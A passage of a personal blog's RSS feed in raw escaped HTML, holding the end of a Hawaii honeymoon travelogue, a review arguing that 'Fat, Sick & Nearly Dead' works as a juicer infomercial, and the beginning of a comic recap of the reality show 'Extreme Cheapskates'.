&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhKZnVM8aDqETAtoaD1SQuWwGJer15_Xa4DM7c0241U_2UaNrl0_xQbk7el_k8Yqhd_hRTOBoxCQHF6DpBLgT-twyKt7SDJMhRJHefB1EE5RxQH0yesZh_FsGfnuH8-RRM9NY8G7jRk0g/s1600/smalltrutle.png" style="clear: left; margin-bottom: 1em; margin-left: auto; margin-right: auto;"&gt;&lt;img border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhKZnVM8aDqETAtoaD1SQuWwGJer15_Xa4DM7c0241U_2UaNrl0_xQbk7el_k8Yqhd_hRTOBoxCQHF6DpBLgT-twyKt7SDJMhRJHefB1EE5RxQH0yesZh_FsGfnuH8-RRM9NY8G7jRk0g/s320/smalltrutle.png" width="240" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;This turtle relaxed here for a good 4 hours.&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;div&gt;
&lt;table cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh3FCNKtVh0bjCyu6ivQJvoFR46IlFEMNsbv5fOUd-zJDzTVi7WcT2W_z54DWvBExTPXyTOU9sHuQnOxbYUpE2J52gRo2qRal9Dz_Gp-4Qdb3jcfrQE3-OxcWBr68HaHE6PnBlhyphenhyphen4tdsw/s1600/giantturtle.png" style="clear: right; margin-bottom: 1em; margin-left: auto; margin-right: auto;"&gt;&lt;img border="0" height="176" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh3FCNKtVh0bjCyu6ivQJvoFR46IlFEMNsbv5fOUd-zJDzTVi7WcT2W_z54DWvBExTPXyTOU9sHuQnOxbYUpE2J52gRo2qRal9Dz_Gp-4Qdb3jcfrQE3-OxcWBr68HaHE6PnBlhyphenhyphen4tdsw/s320/giantturtle.png" width="320" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;This one was about 5 times bigger than the one to the left. &amp;nbsp;We&lt;br /&gt;
couldn't get a person in the picture for reference because you&lt;br /&gt;
&amp;nbsp;aren't allowed to approach them because they are endangered.&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;a href="http://www.ultimateburger.net/"&gt;Ultimate Burger:&lt;/a&gt;&lt;br /&gt;
This place had some killer burgers, all made from 100% grass fed beef from the island! &amp;nbsp;Great seasoned fries too!&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;u&gt;Snorkeling:&lt;/u&gt;&lt;br /&gt;
We took a morning trip to Kealakekua Bay via the&lt;a href="http://www.fair-wind.com/fair-wind-ii"&gt; Fair Wind II&lt;/a&gt; ship. &amp;nbsp;It was a big catamaran with a "for show" sail. &amp;nbsp;The ride to the bay took about 45min-1hour, and they provided breakfast. &amp;nbsp;The views were amazing from the ship, and the weather was perfect and sunny. &amp;nbsp;We saw a few Spinner Dolphins. &amp;nbsp;They jump in front, and in the wake of the ship and do spins, very entertaining! &amp;nbsp;When we arrived at the bay, they gave us a quick rundown of the procedures, and we were off. &amp;nbsp;The reef was amazing, and visibility was over 80 feet. &amp;nbsp;The reef was full of colorful fish of all different types. &amp;nbsp;Some of the hilights were the Threadfin Butterfly, Moorish Idol, Rectangular Triggerfish, Red Parrot, Trumpet Fish, Moray Eel, and Slate-Pencil sea Urchin.&amp;nbsp;&lt;a href="http://www.acsrentals.com/acs%20rentals/images/Hawaiian_Reef_Fish_Guide.jpg"&gt;Click here to see what they looked like.&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;a href="http://www.fourseasons.com/hualalai/dining/pahu_i_a/"&gt;Four Seasons Buffet:&lt;/a&gt;&lt;br /&gt;
We had a fancy buffet style dinner at the Four Seasons. &amp;nbsp;Could there be such a thing as a &lt;i&gt;fancy &lt;/i&gt;buffet? &amp;nbsp;Yes, there is, and it is damn expensive too (18$ Mai Tais were the cheapest drinks). &amp;nbsp;We ate inhuman amounts of snow crab claws, lobster tails, new york strip steak, sushi, and any other fancy dish you can think of. &amp;nbsp;I think we may have almost gotten our money's worth =) &amp;nbsp;The dinner was delicious, and we were right on the lani, with a view of the sunset over the ocean. &amp;nbsp;After dark, they had a astronomer with a large telescope, and we were able to see Jupiter and 3 of its moons. &amp;nbsp;It was really something!&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;u&gt;Black Sand Beach:&lt;/u&gt;&lt;br /&gt;
We took the Jeep to this hard to get to black sand beach in Kehaha Kai state park.&lt;/div&gt;
&lt;div&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;/div&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;/div&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhqiXFUs_afRet6pzuNrp43HdUj0ruzDebvX-6jXuvsl8f7CgKCT0YPdAryYLMwsw6N0CrfMhyphenhyphenNCkcEE7IPO2vkGl_iV0qjmygUMDb8IMpSDsYftPVaMZ1Hl3QqwW7aUeQUqMTTly7R8Q/s1600/blacksand1.png" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;/a&gt;&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiaqHWI50Pv8RKOquKuUHizSBT2mt0XMR03q35NjLz4b3iA2JhGSNTR2vqs0SGibM-ScyGJ2Z31ZVY8QLdZ_j9cp43OgdyrLpuliLtwReJ5WB2oZdwi7nq29N9XjYX_uO6wyVV4deqrHA/s1600/blacksand2.png" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="150" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiaqHWI50Pv8RKOquKuUHizSBT2mt0XMR03q35NjLz4b3iA2JhGSNTR2vqs0SGibM-ScyGJ2Z31ZVY8QLdZ_j9cp43OgdyrLpuliLtwReJ5WB2oZdwi7nq29N9XjYX_uO6wyVV4deqrHA/s200/blacksand2.png" width="200" /&gt;&lt;/a&gt;&lt;img border="0" height="150" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhqiXFUs_afRet6pzuNrp43HdUj0ruzDebvX-6jXuvsl8f7CgKCT0YPdAryYLMwsw6N0CrfMhyphenhyphenNCkcEE7IPO2vkGl_iV0qjmygUMDb8IMpSDsYftPVaMZ1Hl3QqwW7aUeQUqMTTly7R8Q/s200/blacksand1.png" width="200" /&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div style="text-align: left;"&gt;
&lt;u&gt;Saddle Road /&amp;nbsp;Mauna Kea:&lt;/u&gt;&lt;br /&gt;
Halfway thourgh our trip, we took a two day excursion to the Hilo side of the the Big Island. &amp;nbsp;We braved the infamous &lt;a href="http://en.wikipedia.org/wiki/Saddle_Road"&gt;Saddle Road&lt;/a&gt;, which really wasn't that bad at all. &amp;nbsp;The sights changed quickly, and&amp;nbsp;drastically. &amp;nbsp;As soon as we hit higher elevations, no more palm trees and sunshine. &amp;nbsp;It was eerie and foggy grasslands with sparse and contorted old trees. &amp;nbsp;About halfway on the road, we&amp;nbsp;turned&amp;nbsp;to make the trip to the peak of &lt;a href="http://en.wikipedia.org/wiki/Mauna_kea"&gt;Mauna Kea&lt;/a&gt;. &amp;nbsp;This was a steep climb all the way to 13,796ft. &amp;nbsp;The jeep made it easily, but I had to drive slow due to switchbacks and steep grade. &amp;nbsp;At the top it was 36 degrees and snowing quite a bit. &amp;nbsp;There was no good view at the peak due to snow, but the huge observatories and surreal moon like landscape were worth it.&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj4NSdaHKGvgq88CtmVGvihaF8uu0UJnMtdhJ1h37QO7qReKi5PXTu1xKdrSA4B87NJ5r4OYwpZZou_bDAB-DJpiK1F4rdqe9CzDvAo6j4QpLpb57-snJ8zWt_MQzkJLLQr2TBVNfwX4w/s1600/saddleroad-maunakea.png" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="281" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj4NSdaHKGvgq88CtmVGvihaF8uu0UJnMtdhJ1h37QO7qReKi5PXTu1xKdrSA4B87NJ5r4OYwpZZou_bDAB-DJpiK1F4rdqe9CzDvAo6j4QpLpb57-snJ8zWt_MQzkJLLQr2TBVNfwX4w/s640/saddleroad-maunakea.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;u&gt;Hilo:&lt;/u&gt;&lt;br /&gt;
In Hilo, we stayed at the &lt;a href="http://www.dolphinbayhotel.com/"&gt;Dolphin Bay Hotel&lt;/a&gt;. &amp;nbsp;It was very nice there, and the hosts were the nicest people we met on the island. &amp;nbsp;They were incredibly helpful in showing us where to visit in Volcano National Park, and were very&amp;nbsp;knowledgeable&amp;nbsp;on the current volcano activity and lava flow. &amp;nbsp;While in Hilo, we checked out &lt;a href="http://hiloburgerjoint.com/"&gt;Hilo Burger Joint&lt;/a&gt;. &amp;nbsp;They had some interesting and delicious burgers. &amp;nbsp;I got a Nacho Burger which consisted of nacho cheese, and&amp;nbsp;jalapenos, and served upside down (Their signature move maybe?). &amp;nbsp;We also stopped at &lt;a href="http://en.wikipedia.org/wiki/Rainbow_Falls_(Hawaii)"&gt;Rainbow Falls&lt;/a&gt;, which was flowing very heavily due to rain earlier in the day. &amp;nbsp;The cave behind the falls was huge, and it was really a cool place to see. &amp;nbsp;Another note on the Hilo side, it gets much more rainfall than the Kona side. &amp;nbsp;The vegetation is much more lush, and there are hundreds of different flowers, plants and trees. &amp;nbsp;The Banyan trees were quite a site!&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiOxtKmLZl3C1laT8SoWrSlZJTPsm1ZdycD7DAfEaw9X0b1a9rRDe5A4k77u4pJZ1dqrXIfdZRqBQSq3wStoePDp_FbrfwJha9XjedGDCvM2pIJ_AHPEO4xSe3PKI6G5Tc302joJ3VxfA/s1600/hilo.png" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="352" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiOxtKmLZl3C1laT8SoWrSlZJTPsm1ZdycD7DAfEaw9X0b1a9rRDe5A4k77u4pJZ1dqrXIfdZRqBQSq3wStoePDp_FbrfwJha9XjedGDCvM2pIJ_AHPEO4xSe3PKI6G5Tc302joJ3VxfA/s640/hilo.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;u&gt;Volcano National Park:&lt;/u&gt;&lt;br /&gt;
On our way back to Knoa, we stopped in Volcano National Park. &amp;nbsp;The hilight was definitely the hike we did across the Kilauea Iki. &amp;nbsp;It was huge, and hard to believe we were walking across what was once a&amp;nbsp;cauldron&amp;nbsp;of molten lava! (More details and pics to come on this, stay tuned for part 2).&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;</description><author>Milwaukee Maven</author><pubDate>Wed, 07 Dec 2016 06:51:48 GMT</pubDate><guid isPermaLink="true">https://blog.andyglassman.com/2011/11/honeymoon-in-hawaii.html</guid></item><item><title>Fat, Sick, &amp;amp; Nearly Dead: The Most Genius Infomercial Ever Created</title><link>https://blog.andyglassman.com/2012/04/fat-sick-nearly-dead-most-genius.html</link><description>&lt;a href="http://amzn.to/2g8iTlc" rel="nofollow" target="_blank"&gt;Fat, Sick, &amp;amp; Nearly Dead&lt;/a&gt;: The Most Genius Infomercial Ever Created&lt;br /&gt;
By Andrew Glassman&lt;br /&gt;
&lt;br /&gt;
&lt;table cellpadding="0" cellspacing="0" class="tr-caption-container" style="float: right; margin-left: 1em; text-align: right;"&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;span style="clear: right; margin-bottom: 1em; margin-left: auto; margin-right: auto;"&gt;&lt;a href="http://amzn.to/2g87NwR" rel="nofollow" target="_blank"&gt;&lt;img border="0" height="200" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg155qeT01YQnCsqVfwDaMyyiVMDdE63PGUylY18wJomvmzpw9P815A_TUit0b7-qC53qKNUqskjCVtwtmclDvk-oJZcK_U6dCnGiF_WGk5CKjsgsclyJkZsVckzNfbWVJLMVSl_44V5A/s200/lEquip-215-xl-Juicer-Best-Price.jpg" width="196" /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;&lt;a href="http://amzn.to/2g87NwR" rel="nofollow" target="_blank"&gt;A Brevielle Juicer&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
It's 3:30am, the late run of Die Hard has come to a conclusion, and John McClane comes out victor once again. &amp;nbsp;Next up on the schedule, "Paid Programming". &amp;nbsp;It's the crack-cocaine of late night television, the infomercial. &amp;nbsp;The testimonials are fake, the products are cheap, and when you wake up at noon the next day you wonder what you're doing with your life. &amp;nbsp;I was expecting more of the same when I flipped on '&lt;a href="http://amzn.to/2g8iTlc" rel="nofollow" target="_blank"&gt;Fat, Sick, &amp;amp; Nearly Dead&lt;/a&gt;' from the Netfilx Documentary section (this section is a guilty pleasure of many). The premise of the film is to follow Joe Cross, a middle aged Australian, on a road trip across America. Along the way, he participates in a juice fast. He consumes no food, only naturally created juice for 60 days. &amp;nbsp;At the end, we see Joe 100 pounds lighter, and looking healthier than a vegan training for an Ironman. Oh by the way, he only uses a&lt;a href="http://amzn.to/2g87NwR" rel="nofollow" target="_blank"&gt; Breville juicer&lt;/a&gt;. &amp;nbsp;At the end of the flick, you feel motivated to be healthy, inspired, ready to make changes in your life... if only you knew where to start (Hint: You won't want to be jucing 3 meals a day by hand!). &amp;nbsp;You my friend, have just been mind ninja'd by Joe Cross, the producer, writer, and star of the most genius infomercial ever. &amp;nbsp;Let's break down how Joe and &lt;a href="http://amzn.to/2g87NwR" rel="nofollow" target="_blank"&gt;Breville&lt;/a&gt; have managed to sell you a juicer, without you even realizing you've just sat through a 76mim sales pitch.&lt;br /&gt;
&lt;br /&gt;
1) Joe sells you on buying a juicer, by not ever pitching a juicer. &amp;nbsp;The main motive of a sales pitch is to get the target customer to think they have a need for the product. Joe does this not by pitching the product, but by showing how his health has improved over the time span of the movie. &amp;nbsp;By focusing on the juice, and not the juicer, you don't feel like Joe is anything but a genuine guy who wants to help you. &amp;nbsp;Joe's approach differs from normal infomercials such as a &lt;a href="http://amzn.to/2h4PxnF" target="_blank"&gt;Bow Flex&lt;/a&gt;, or&lt;a href="http://amzn.to/2g8am1D" rel="nofollow" target="_blank"&gt; Gazelle Freestyle&lt;/a&gt;. &amp;nbsp;Those types of infomercials focus on the product, and throw in a few body builders who wouldn't be caught dead using them in their daily routine. &amp;nbsp;Showing someone’s genuine journey to success with the product ever-present in the background I think is a juicy recipe for success!&lt;br /&gt;
&lt;br /&gt;
2) Another sneaky but effective tactic used is how Joe mentions the &amp;nbsp;"Reboot" plan a few times. &amp;nbsp;It is said in such a way that you aren't sure if he is referring to a process, or a product. Upon visiting the website "http://www.fatsickandnearlydead.com/" &amp;nbsp;you see a large image linking you to "http://www.jointhereboot.com/". &amp;nbsp;Visit the website and there is a large picture of Joe smiling and juicing away! &amp;nbsp;Also a large image with the text "Ready to start juicing? Get the Breville" is right there for easy clicking. &amp;nbsp;They even let you sign up to get free juice plans. &amp;nbsp;They sell juicers, and juicer accessories. &amp;nbsp;Using the "Reboot" terminology seemed to be a way for Joe to do some branding, without overtly stating &lt;a href="http://amzn.to/2g8ckiG" rel="nofollow" target="_blank"&gt;Reboot&lt;/a&gt; was even a brand!&lt;br /&gt;
&lt;br /&gt;
3) There are many shots in the movie of Joe juicing many assorted fruits and veggies. &amp;nbsp;At no point does he overtly tell you how he easy it is, but it is apparent that it is a breeze to juice anything. &amp;nbsp;There is no cheesy "It's as easy as 1,2,3!" to be found in this film. It is interesting how you never see him clean it. &amp;nbsp;I bought a juicer and it is a chore to clean, it’s messy, and takes up a lot of space.&lt;br /&gt;
&lt;br /&gt;
3) There are also testimonials within the film, aside from Joe's main journey for health. &amp;nbsp;There is one where a trucker loses a massive amount of weight, probably a few hundred pounds. &amp;nbsp;You actually are rooting for the guy in the testimonial. &amp;nbsp;When he triumphs this really solidifies the idea in the audiences mind that a juice fast is some kind of miracle diet. &amp;nbsp;Meanwhile, &amp;nbsp;Joe’s brother does not follow the diet and has a heart attack. &amp;nbsp;While this is all real life, it makes you wonder if the heart attack could have been avoided if only he had started the juice fast.&lt;br /&gt;
&lt;br /&gt;
So if I had to write an infomercial for a new product, here are the points I'd borrow from Fat, Sick &amp;amp; Nearly Dead&lt;br /&gt;
1) Don't pitch the product, pitch the story of how your product will help the customer.&lt;br /&gt;
2) Don't focus on the product. Again, sell the story, but make sure your product is ever present. &amp;nbsp;Make sure your product appears easy to use, and hide the messy parts.&lt;br /&gt;
3) Let people who will actually use your product sell it. &amp;nbsp;Don't hire paid actors, or use people who wouldn't use your product normally. &amp;nbsp;If you don't make the testimonials believable, viewers may think your product is fake, or a hoax.&lt;br /&gt;
4) Casually brand your product throughout the infomercial. &amp;nbsp;Don't make it obvious what you are doing.&lt;br /&gt;
5) IMPORTANT: Make it insanely easy to find your product online. &amp;nbsp;This is where you can start selling the actual product by its brand name that was casually used in the infomercial.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
At its core, "&lt;a href="http://amzn.to/2g8iTlc" rel="nofollow" target="_blank"&gt;Fat, Sick &amp;amp; Nearly Dead&lt;/a&gt;" is an infomercial with all the annoying parts stripped out and thrown up on a web site. &amp;nbsp;This is an amazing idea that few have executed this well. &amp;nbsp;The stories are so genuine and honest, yet it plays so well in directing viewers to channels to buy a &lt;a href="http://amzn.to/2g87NwR" rel="nofollow" target="_blank"&gt;Breville juicer&lt;/a&gt; or &lt;a href="http://amzn.to/2g8ckiG" target="_blank"&gt;Reboot products&lt;/a&gt;. &amp;nbsp;Even if a person starts juicing and doesn't buy their products, they will point their friends to the film, and they may become a potential customer. &amp;nbsp;Bottom line is that “Fat, Sick &amp;amp; Nearly Dead” is the most genius and entertaining infomercial I’ve seen in a long time. &amp;nbsp;If "Paid Programming" learns anything from Joe I'll be in for some more long nights.&lt;br /&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;</description><author>Milwaukee Maven</author><pubDate>Wed, 07 Dec 2016 06:50:48 GMT</pubDate><guid isPermaLink="true">https://blog.andyglassman.com/2012/04/fat-sick-nearly-dead-most-genius.html</guid></item><item><title>Extremely Fake Cheapskates!  Season One Recap</title><link>https://blog.andyglassman.com/2014/01/extremely-fake-cheapskates-season-one.html</link><description>If you've been browsing Netflix lately, you may have noticed a recent influx of trashy reality TV shows. &amp;nbsp;While I normally avoid these like the plague, there was one that recently piqued my interest. &amp;nbsp;I've been reading the &lt;a href="http://www.mrmoneymustache.com/"&gt;Mr. Money Mustache&lt;/a&gt; blog lately so I just HAD to watch &lt;a href="http://amzn.to/2h4Qhci" rel="nofollow" target="_blank"&gt;Extreme Cheapskates&lt;/a&gt;. &amp;nbsp; Have these extremists used any of MMM's penny pinching tactics? Maybe there would be some useful tricks I could impress my wife with! I was not disappointed. &amp;nbsp;This show was a gold mine of hilarity, but it was rather inconsistent. &amp;nbsp;On one hand there are characters such as Jeff, a man who may out stash Mr. Mustache himself. &amp;nbsp;On the other, we have people like Vickie, John, and Abdul, who's money saving methods seemed about as real as an episode of &lt;i&gt;Keeping up with the Kardashians&lt;/i&gt;.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Lets meet the cast of characters that Extreme Cheapskates has lined up and see if we can filter out the real eagle squeezers. &amp;nbsp;I'll rate each one on a scale of 1 (Gucci hidden under the bed) to 10 (Ghandi would be proud).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-size: large;"&gt;Kate&lt;/span&gt;&lt;br /&gt;
To start off the season we meet Kate, a sad and lonely lady who lives in what appears to be Manhattan. &amp;nbsp;I honestly felt bad for her, and I think she may have some mild Asbergers and Anxiety issues. &amp;nbsp;She lives like a depression era begger, going so far to eat and serve to her 'friends' expired food from garbage cans. &amp;nbsp;I don't think she has spent a cent of money on anything besides her electric bill and rent. &amp;nbsp;Her "favorite t-shirt" is tattered, disgustingly yellow, and full of holes. &amp;nbsp;Her prized possession seems to be a pair of athletic shorts she's owned for 13 years. &amp;nbsp;These are now proudly held on by a binder clip that she probably took from work.&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjtOpgSDkyVEkoK1hcQJp_WoM9d3yvIBnCtmlS53bmLiEAPROlERuqIgWWwyjFLzibCGhqRRg0sFtJYEuTtL-4ChHZUWe5VSfURlKu28-JtBiYpx9PJhiOMF4BMdSvxey7b6h65WZbaog/s1600/exc_kate.jpg" style="margin-left: auto; margin-right: auto;"&gt;&lt;img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjtOpgSDkyVEkoK1hcQJp_WoM9d3yvIBnCtmlS53bmLiEAPROlERuqIgWWwyjFLzibCGhqRRg0sFtJYEuTtL-4ChHZUWe5VSfURlKu28-JtBiYpx9PJhiOMF4BMdSvxey7b6h65WZbaog/s1600/exc_kate.jpg" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;Kate picking out some appetizers for her dinner party.&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;br /&gt;
&lt;br /&gt;
Cheap O Meter: 10 - Sad and lonely, but cheap as hell.&lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-size: large;"&gt;Terrence&lt;/span&gt;&lt;br /&gt;
Terence is a school teacher with some fat bank accounts. &amp;nbsp;You wouldn't guess it from outward appearances though. &amp;nbsp;His Cinder block home is furnished with sparse folding chairs, and card tables. &amp;nbsp;He's proud of his half functional desk in his office. Sorry, allow me to clarify. &amp;nbsp;It's not 'half functional', it's literally half of a desk. Terrence splurged on what appears to be about a 30'' flat panel TV. &amp;nbsp;The TV sits lonely on the floor in the corner of the living room. Once a year Terrence treats his family to a nice meal out. &amp;nbsp;I'm skeptical of how the events at this dinner unfold. &amp;nbsp;Terrence's wife just happens to invite his Aunt and Uncle along for the dinner, un-announced. &amp;nbsp;Terrence rebuttals by treating the family to a fine dining experience at a Chinese buffet. &amp;nbsp;He tries to save some coin by attempting to only buy 3 plates for 7 or so people. &amp;nbsp;He is then brash enough to pay for the entire meal in small change! &amp;nbsp; While Terrence's home has all the signs of a cheapskate the family's reaction to his shenanigans tell the true story, this one reeks of reality TV script writing.&lt;br /&gt;
&lt;br /&gt;
&lt;table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEibHp3x7yQOhPB8TAZdr9HuDCspDj-SajShzy0Liz09K1iY6vyaGWsU_njGznsZBnGMb5nuyRjW9LTvKRwMvTuh0khdBYo1rbnhBj5idDSTbFuoiifqtmeXm3dbEb2ptnSZ2sYx6row7Q/s1600/exc_terence.jpg" style="margin-left: auto; margin-right: auto;"&gt;&lt;img border="0" height="180" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEibHp3x7yQOhPB8TAZdr9HuDCspDj-SajShzy0Liz09K1iY6vyaGWsU_njGznsZBnGMb5nuyRjW9LTvKRwMvTuh0khdBYo1rbnhBj5idDSTbFuoiifqtmeXm3dbEb2ptnSZ2sYx6row7Q/s1600/exc_terence.jpg" width="320" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;Terrence gleefully presenting his family with three plates of Chinese food. They are less than impressed.&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;br /&gt;
&lt;br /&gt;
Cheap O Meter: 6 - Started out strong, but this stinks of reality TV scripting.&lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-size: large;"&gt;Greg&lt;/span&gt;&lt;br /&gt;
Greg is a young guy who knows the value of a dollar... Or maybe not... I'm not sure Greg has ever had to spend a dollar of his own his entire life! &amp;nbsp;Greg lives for free in his Grandma's house, yet has two roommates who he charges rent. &amp;nbsp;Greg saves money on laundry by showering with his clothes on. &amp;nbsp;Greg grabs condiments from every restaurant he enters. &amp;nbsp;Greg drinks water out of old yogurt cups for no apparent reason. &amp;nbsp;I guess grandma took all her cups with her to Florida. &amp;nbsp;Greg flushes the toilet once a week. &amp;nbsp;Greg is the kind of guy who waits for you to order first at a restaurant, then will just eat half your shit. &amp;nbsp;Bottom line, Greg is not a cheapskate, he's just a freeloading asshole!&lt;br /&gt;
&lt;br /&gt;
&lt;table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjlIoGcR_3qiWaht5XJwlQvb-7_KTUDUpokRY_wdIX53nfcWZHzm2hdUg3DqNYFiw0hbuDKJ_aUPgB5vmcMw38c8IrtfbiCx_j1bqxP6uY-O-5ICV9_yvLlDwHTgDKj45eYiVS2QAgEIg/s1600/exc_greg.jpg" style="margin-left: auto; margin-right: auto;"&gt;&lt;img border="0" height="180" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjlIoGcR_3qiWaht5XJwlQvb-7_KTUDUpokRY_wdIX53nfcWZHzm2hdUg3DqNYFiw0hbuDKJ_aUPgB5vmcMw38c8IrtfbiCx_j1bqxP6uY-O-5ICV9_yvLlDwHTgDKj45eYiVS2QAgEIg/s1600/exc_greg.jpg" width="320" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;Greg, multitasking.&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;br /&gt;
&lt;br /&gt;
Cheap O Meter: 3 - Cheap is too kind of a label for Greg. Greg is just a freeloading asshole!&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-size: large;"&gt;Victoria&lt;/span&gt;&lt;br /&gt;
Victoria is the Queen of Cheap. If you're in her kingdom, you best be pinching pennies as well. &amp;nbsp;You better know exactly how much electricity it takes to heat up that dinner in the microwave, or you'll have hell to pay. &amp;nbsp;Victoria and Kate must have gone to culinary school together, because they both know where to find the finest ingredients, the dumpster! &amp;nbsp; Victoria's dirtiest cheapskate secret is her water saving tactics. &amp;nbsp;Why waste water like Greg and flush once a week when you can flush NEVER! &amp;nbsp;Yes folks, that ain't jars of lemonade next to the toilet. &amp;nbsp;Now that Victoria's boyfriend has moved in, she's upgraded to a his and hers jar set!&lt;br /&gt;
&lt;br /&gt;
&lt;table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjemif7yfC2eVHVk3gz5Uwx3WaJl3o2ZfzSNtRgmMX_nb-VSK940hp6QQh65uErzYD59lvefswIsmeQgWm6id39Y2GDnRu9mFVZromD7XsIC7oAF9yoBHmxviCCkn5CevIPT9bePPV4kw/s1600/exc_victoria.jpg" style="margin-left: auto; margin-right: auto;"&gt;&lt;img border="0" height="180" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjemif7yfC2eVHVk3gz5Uwx3WaJl3o2ZfzSNtRgmMX_nb-VSK940hp6QQh65uErzYD59lvefswIsmeQgWm6id39Y2GDnRu9mFVZromD7XsIC7oAF9yoBHmxviCCkn5CevIPT9bePPV4kw/s1600/exc_victoria.jpg" width="320" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
